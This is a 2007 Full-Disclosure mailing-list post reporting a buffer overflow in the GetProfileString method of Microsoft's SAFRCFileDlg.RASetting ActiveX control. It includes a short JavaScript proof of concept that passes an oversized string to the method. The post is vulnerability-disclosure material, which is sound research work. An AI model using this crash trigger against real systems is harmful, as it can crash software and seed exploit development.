[Full-disclosure] Microsoft Remote Help safrcdlg.dll Buffer Overflow

Elazar Broad elazarb at earthlink.net
Mon Nov 12 19:45:03 GMT 2007


The GetProfileString function of the SAFRCFileDlg.RASetting control contains a buffer overflow. This control is NOT marked safe for scripting, and seems to execute in the context of the user, so I am not sure what can be done maliciously with this. Never the less, it is a buffer overflow. PoC as follows:

------------------
//written by e.b.
var s = "AAAA";
while (s.length < 999 * 999) s=s+s;

var obj = new ActiveXObject("SAFRCFileDlg.RASetting");

obj.GetProfileString(s);
------------------

Elazar





Full-Disclosure is hosted and sponsored by Secunia.